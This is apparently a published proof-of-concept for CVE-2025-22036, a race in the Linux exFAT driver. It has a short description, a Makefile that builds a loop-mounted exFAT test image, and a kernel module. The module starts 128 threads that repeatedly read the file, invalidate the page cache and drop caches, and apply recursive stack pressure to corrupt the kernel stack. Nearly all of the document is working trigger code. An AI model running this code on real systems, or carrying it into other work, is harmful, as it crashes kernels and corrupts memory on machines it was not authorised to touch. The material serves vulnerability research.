CVE-2025-22036 is a Cross-Thread Violation originating from a Design Vulnerability. The failure lies in a violated design assumption within the kernel's thread model, where ownership and lifetime invariants of stack-allocated structures are not enforced during concurrent I/O. This structural flaw manifests as an Execution Vulnerability, triggering random stack corruption between Core 0/1 during the operational window between bh_read and end_buffer_read_sync.
Deterministic crash observed via 0x80-thread race window
.PHONY: all module user setup run clean check
OBJECT_FILES_NON_STANDARD_poc.o := y
MODULE_NAME := poc
CHECK_ENV_POC := CHECK_ENV
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
HDR_DIR := $(PWD)/headers
EXFAT_MOUNT := /tmp/exfat_test
TARGET_FILE := $(EXFAT_MOUNT)/target.txt
ccflags-y := -I$(HDR_DIR)
obj-m += $(MODULE_NAME).o
all: module user
module:
@echo "[0x1] Compiling Kernel Module..."
$(MAKE) -C $(KDIR) M=$(PWD) modules
user:
@echo "[0x1] Compiling User-space App (Hardcore ASM)..."
gcc-13 -O2 checkEnv.c -o $(CHECK_ENV_POC)
check:
@test -d $(EXFAT_MOUNT) && echo "[0x1] Mount exists." || echo "[0x0] Mount missing!"
@test -f $(TARGET_FILE) && echo "[0x1] Target file exists." || echo "[0x0] Target file missing!"
setup:
./CHECK_ENV
@echo "[0x1] Hard cleanup of exFAT environment..."
-sudo rmmod $(MODULE_NAME) 2>/dev/null || true
-sudo umount -l $(EXFAT_MOUNT) 2>/dev/null || true
-rm -f exfat_disk.img
@echo "[0x1] Creating Disk Image..."
dd if=/dev/zero of=exfat_disk.img bs=1M count=300
@echo "[0x1] Formatting as exFAT..."
mkfs.exfat exfat_disk.img
@echo "[0x1] Creating mount directory..."
sudo mkdir -p $(EXFAT_MOUNT)
@echo "[0x1] Mounting exFAT..."
sudo mount -o loop,sync exfat_disk.img $(EXFAT_MOUNT)
@echo "[0x1] Creating Vulnerable File Structure..."
sudo dd if=/dev/urandom of=$(TARGET_FILE) bs=1M count=200
sudo truncate -s 190M /tmp/exfat_test/target.txt
@sleep 1
sudo chmod 666 $(TARGET_FILE)
@sync
@echo "[0x1] exFAT Environment ready at $(EXFAT_MOUNT)"
run: all
@echo "[0x1] Loading Module..."
-sudo rmmod $(MODULE_NAME) 2>/dev/null || true
@sleep 2
sudo insmod $(MODULE_NAME).ko
@sleep 1
@echo "[0x1] Check Dmesg."
clean:
@echo "[0x1] Cleaning up..."
$(MAKE) -C $(KDIR) M=$(PWD) clean
rm -f exfat_disk.img
-sudo umount $(EXFAT_MOUNT) 2>/dev/null || true
-sudo rm -rf $(EXFAT_MOUNT)
-rm -f $(CHECK_ENV_POC)
/*
* CVE-2025-22036 - Cross-Thread Violation in exFAT Subsystem
* Author: Byte Reaper (Bytrep Security Research)
* Target: Linux Kernel 6.8 - 6.14.2 (fs/exfat)
* Root Cause: Ownership Confusion / Lifetime Inconsistency
* Primitive: Stack Use-After-Free (UAF)
* Impact: Kernel Stack Corruption / State Desynchronization
*
* Description:
* Technical PoC demonstrating a Design Vulnerability where the thread model
* is violated during concurrent I/O. Results in an Execution Vulnerability
* (Stack Corruption) between Core 0/1 during bh_read/end_buffer_read_sync.
*
* Environment:
* - Tested on: Linux x86_64 (Kernel 6.9.0-generic)
* - Scope: exFAT filesystem logic
*
* Disclaimer:
* For educational and security research purposes only.
*/
#include<linux/module.h>
#include<linux/kernel.h>
#include<linux/init.h>
#include<linux/slab.h>
#include<linux/fs.h>
#include<linux/file.h>
#include<linux/delay.h>
#include<linux/pagemap.h>
#include<linux/kthread.h>
#include<linux/cpumask.h>
#include<linux/string.h>
#include<linux/random.h>
#include<linux/limits.h>
#include<linux/atomic.h>
#include<asm/page.h>
#include<linux/preempt.h>
#define PATH_FILE "/tmp/exfat_test/target.txt"
#define PAGE_CACHE "/proc/sys/vm/drop_caches"
#define THREAD_COUNT 0x80
static unsigned int cpus_num = 0x0;
static struct task_struct** threads;
static atomic_t counter = ATOMIC_INIT(0x0);
void* vaAddr;
noinline
static
void
recursive_stack_filler
(
int depth
)
{
//Recursive stack pressure to stress kernel stack and scheduling (may trigger stack-related faults under race conditions)
volatile unsigned long long space[128];
memset((void*)space,
0x00,
sizeof(space));
barrier();
if (depth > 0)
{
recursive_stack_filler(depth - 1);
}
wmb();
}
static
int
drop_cache
(
void
)
{
struct file* filp = NULL;
char data[] = "3";
ssize_t written;
printk_ratelimited(KERN_INFO "[0x1] Drop page cache... (path:%s)\n", PAGE_CACHE);
filp = filp_open(PAGE_CACHE,
O_WRONLY, 0x0);
if (IS_ERR(filp))
{
printk(KERN_ERR "[0x0] Error open %s\n",
PAGE_CACHE);
return PTR_ERR(filp);
}
written = kernel_write(filp,
data,
strlen(data),
0x0);
if (written < 0x0)
{
printk(KERN_ERR "[0x0] Error writing to %s\n",
PAGE_CACHE);
filp_close(filp,
NULL);
return written;
}
filp_close(filp,
NULL);
struct page* page_allocation;
page_allocation = alloc_page(GFP_KERNEL);
if (!page_allocation)
{
printk(KERN_ERR "[0x0] Failed to allocate page!\n");
return -ENOMEM;
}
phys_addr_t paAddr = page_to_pfn(page_allocation) << PAGE_SHIFT;
if (paAddr == 0x0)
{
printk(KERN_ERR "[0x0] PA Address is 0x0!\n");
__free_page(page_allocation);
return -EINVAL;
}
vaAddr = page_address(page_allocation);
if (atomic_cmpxchg(&counter, 0x0, 0x1) == 0x0)
{
printk(KERN_INFO "[0x1] PA Address: %pa (VA Address: %px)\n",
&paAddr,
vaAddr);
printk(KERN_INFO "[0x1] Page cache dropped successfully\n");
}
__free_page(page_allocation);
return 0x0;
}
static
int
read_file_and_invalidate_cache
(
struct file* filp
)
{
char* buffer;
struct folio* f;
ssize_t ret = 0x0;
if (!filp)
{
return -EINVAL;
}
buffer = kmalloc(0x1000,
GFP_KERNEL);
if (!buffer)
{
return -ENOMEM;
}
struct kiocb kiocb;
struct iov_iter iter;
struct kvec vec;
vec.iov_len = 0x1000;
vec.iov_base = buffer;
memset(&iter,
0x0,
sizeof(struct iov_iter));
iter.iter_type = ITER_KVEC;
iter.kvec = &vec;
iter.nr_segs = 0x1;
iter.count = 0x1000;
iter.iov_offset = 0x0;
init_sync_kiocb(&kiocb, filp);
kiocb.ki_pos = 0;
if (!filp->f_op || !filp->f_op->read_iter)
{
kfree(buffer);
return -EINVAL;
}
ret = filp->f_op->read_iter(&kiocb, &iter);
if (ret < 0x0)
{
printk(KERN_ERR "[0x0] Manual read_iter error: %zd\n", ret);
kfree(buffer);
return ret;
}
struct address_space* mapping = filp->f_mapping;
if (mapping)
{
f = read_mapping_folio(mapping, 0x0, filp);
if (!IS_ERR(f))
{
folio_put(f);
}
}
if (atomic_cmpxchg(&counter, 0x0, 0x1) == 0x0)
{
printk(KERN_INFO "[0x1] kernel_read returned %zd bytes\n", ret);
if (ret >= 0x10)
{
printk(KERN_INFO "[EXFAT BUFFER] First 16 bytes: %*ph\n",
0x10,
buffer);
}
else
{
printk(KERN_INFO "[EXFAT BUFFER] Data: %*ph\n",
(int)ret,
buffer);
}
}
if ((get_random_u32() % 0xA) == 0x0)
{
if (atomic_read(&counter) == 0x0 || (get_random_u32() % 0x10 == 0x0))
{
drop_cache();
}
}
if ((get_random_u32() & 0xFF) == 0x0)
{
cpu_relax();
}
if (buffer)
{
kfree(buffer);
}
return 0x0;
}
static
int
trigger_pagecache_race
(
struct file* filp
)
{
struct address_space* mapping = NULL;
struct folio* folio = NULL;
int ret = 0x0;
ret = read_file_and_invalidate_cache(filp);
if (ret != 0)
{
return ret;
}
if (!filp)
{
return -EINVAL;
}
mapping = filp->f_mapping;
if (!mapping)
{
return -EINVAL;
}
folio = read_mapping_folio
(
mapping,
0x0,
filp
);
if (IS_ERR(folio))
{
return PTR_ERR(folio);
}
if (!IS_ERR(folio))
{
preempt_disable();
barrier();
recursive_stack_filler(0x10 + (get_random_u32() & 0x7));
barrier();
preempt_enable();
folio_put(folio);
}
return 0x0;
}
static
int
threaded_stack_test
(
void* data
)
{
struct file* filp = NULL;
filp = filp_open(PATH_FILE,
O_RDONLY,
0x0);
if (IS_ERR(filp))
{
return PTR_ERR(filp);
}
set_cpus_allowed_ptr(current, cpu_possible_mask);
while (!kthread_should_stop())
{
if (filp->f_mapping)
{
invalidate_inode_pages2(filp->f_mapping);
}
d_invalidate(filp->f_path.dentry);
for (int i = 0; i < 0x2710; i++)
{
trigger_pagecache_race(filp);
if ((i & 0xFF) == 0x0)
{
cond_resched();
}
}
cond_resched();
}
filp_close(filp, NULL);
return 0x0;
}
static
int
__init entry_kernel_module_poc
(
void
)
{
int i;
printk(KERN_INFO "[*] Module Loaded: %s\n",
THIS_MODULE->name);
cpus_num = num_online_cpus();
if (cpus_num < 0x2)
{
printk(KERN_ERR "[0x0] Error start cross-thread vilation (Two cores are required)");
return -EINVAL;
}
threads = kmalloc_array(THREAD_COUNT,
sizeof(struct task_struct*),
GFP_KERNEL);
if (!threads)
{
printk(KERN_ERR "[0x0] kmalloc failed\n");
return -ENOMEM;
}
for (i = 0x0; i < THREAD_COUNT; i++)
{
threads[i] = kthread_create(threaded_stack_test,
NULL,
"exfat_race_%d",
i);
if (IS_ERR(threads[i]))
{
int j;
for (j = 0x0; j < i; j++)
{
kthread_stop(threads[j]);
}
return PTR_ERR(threads[i]);
}
kthread_bind(threads[i],
i % cpus_num);
wake_up_process(threads[i]);
msleep(0xA);
}
return 0x0;
}
static
void
__exit
exit_kernel_module_poc
(
void
)
{
printk(KERN_ALERT "[+] Module removed.\n");
for (int x = 0x0; x < THREAD_COUNT; x++)
{
if (threads && threads[x])
{
kthread_stop(threads[x]);
}
}
if (threads)
{
kfree(threads);
}
atomic_set(&counter, 0x0);
}
module_init(entry_kernel_module_poc);
module_exit(exit_kernel_module_poc);
MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("Bytrep ~ Research Lab");
MODULE_DESCRIPTION("POC ~ Cross-thread Violation");
Full exploit artifacts are restricted to verified security researchers. Requests must include technical justification and intended research scope.
Download includes:
This PoC is provided strictly for vulnerability research and allocator behavior analysis. Use only in controlled environments with proper authorization.